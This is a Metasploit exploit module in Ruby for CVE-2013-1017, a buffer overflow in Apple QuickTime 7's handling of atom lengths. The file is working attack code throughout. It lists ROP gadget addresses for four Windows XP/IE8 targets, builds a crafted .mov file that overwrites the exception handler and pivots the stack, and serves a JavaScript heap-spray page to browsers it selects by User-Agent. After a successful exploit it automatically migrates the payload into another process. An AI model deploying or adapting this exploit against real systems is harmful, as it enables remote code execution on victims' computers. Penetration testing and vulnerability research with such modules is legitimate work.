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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
def initialize(info={})
super(update_info(info,
'Name' => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in Apple Quicktime. The flaw is
triggered when Quicktime fails to properly handle the data length for certain
atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer
overflow by loading a specially crafted .mov file, and allows arbitrary
code execution under the context of the current user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jason Kratzer', # Original Discovery & PoC (overlapped finding), aka pyoor
'Tom Gallagher', # Original Discovery (overlapped)
'Paul Bates', # Original Discovery (overlapped)
'sinn3r' # Metasploit
],
'References' =>
[
[ 'CVE', '2013-1017' ],
[ 'OSVDB', '93625' ],
[ 'BID', '60097' ],
[ 'URL', 'http://support.apple.com/kb/HT5770' ],
[ 'ZDI', '13-110' ]
],
'Platform' => 'win',
'Targets' =>
[
# All of the following addresses are from Quicktime.qts
# RET = ADD ESP,280; RET, Nop = RET, Pop = POP ESP; RET
[ 'Quicktime 7.7.3 with IE 8 on Windows XP SP3', {'Ret' => 0x66923467, 'Nop' => 0x6692346d, 'Pop' => 0x66849239} ],
[ 'Quicktime 7.7.2 with IE 8 on Windows XP SP3', {'Ret' => 0x669211C7, 'Nop' => 0x669211CD, 'Pop' => 0x668C5B55} ],
[ 'Quicktime 7.7.1 with IE 8 on Windows XP SP3', {'Ret' => 0x66920D67, 'Nop' => 0x66920D6D, 'Pop' => 0x66849259} ],
[ 'Quicktime 7.7.0 with IE 8 on Windows XP SP3', {'Ret' => 0x66920BD7, 'Nop' => 0x66920BDD, 'Pop' => 0x668E963A} ]
],
'Payload' =>
{
'BadChars' => "\x00" # js_property_spray no like nilz
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Privileged' => false,
'DisclosureDate' => "May 22 2013"
))
end
def get_payload(t)
alignment = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
p = generate_rop_payload('msvcrt', alignment + payload.encoded, {'target'=>'xp'})
return p
end
def targetable?(agent)
if agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 5\.1/
return true
elsif agent =~ /contype/
# contype: a mov file request from Apple Quicktime
return true
end
false
end
def get_html(t)
js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
fake_mov_name = rand_text_alpha(4) + ".mov"
html = %Q|
<html>
<head>
<script>
#{js_property_spray}
var s = unescape("#{js_p}");
sprayHeap({shellcode:s});
</script>
</head>
<body>
<embed src="#{get_resource}/#{fake_mov_name}" width="0" height="0"></embed>
</body>
</html>
|
html.gsub(/^ {4}/, '')
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
print_status("Requesting: #{request.uri}")
unless targetable?(agent)
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
print_status("Target selected as: #{target.name}") if target
if request.uri =~ /\.mov$/
print_status("Sending specially crafted .mov file")
send_response(cli, @exploit, { 'Content-Type' => 'application/octet-stream' })
else
html = get_html(target)
send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
end
end
def sort_bytes(data)
data.map { |e| [e].pack('N').scan(/../).reverse.join }.join
end
def rop_nop(t)
[t['Nop']].pack('V*') # Ret (QuickTime.qts)
end
def exploit
buf = ''
buf << rand_text_alpha(467) # 467 to align the pivot
10.times {
buf << rop_nop(target)
}
buf << [
target['Pop'], # POP ESP; RET (QuickTime.qts)
0x20302020 # Target value for ESP (our ROP payload)
].pack('V*')
buf << rand_text_alpha(611 - buf.length) # Offset 611 to hit SE Handler
buf << sort_bytes([target.ret]) # ADD ESP,280; RET (QuickTime.qts) - pivot
buf << rand_text_alpha(658 - buf.length) # 658 bytes to pad up the mov file size
# Quicktime File Format Specifications:
# https://developer.apple.com/standards/qtff-2001.pdf
mov = "\x00\x00\x06\xDF" # File size
mov << "moov" # Movie atom
mov << "\x00\x00\x06\xD7" # size (1751d)
mov << "rmra" # Reference Movie atom
mov << "\x00\x00\x06\xCF" # size (1743d)
mov << "rmda" # rmda atom
mov << "\x00\x00\x06\xBF" # size (1727d)
mov << "rdrf" # Data reference atom
mov << "\x00\x00\x00\x00" # size set to 0
mov << "alis" # Data reference type: FS alias record
mov << "\x00\x00\x06\xAA" # Size (1706d)
mov << rand_text_alpha(8)
mov << "\x00\x00\x06\x61" # Size (1633d)
mov << rand_text_alpha(38)
mov << "\x12"
mov << rand_text_alpha(81)
mov << "\xFF\xFF"
mov << rand_text_alpha(18)
mov << "\x00\x08" # Size (8d)
mov << rand_text_alpha(8)
mov << "\x00\x00"
mov << "\x00\x08" # Size (8d)
mov << rand_text_alpha(8)
mov << "\x00\x00"
mov << "\x00\x26" # Size (38d)
mov << rand_text_alpha(38)
mov << "\x00\x0F\x00\x0E"
mov << "AA" # Size (must be invalid)
mov << rand_text_alpha(12)
mov << "\x00\x12\x00\x21"
mov << rand_text_alpha(36)
mov << "\x00"
mov << "\x0F\x33"
mov << rand_text_alpha(17)
mov << "\x02\xF4" # Size (756h)
mov << rand_text_alpha(756)
mov << "\xFF\xFF\x00\x00\x00"
mov << buf
@exploit = mov
super
end
end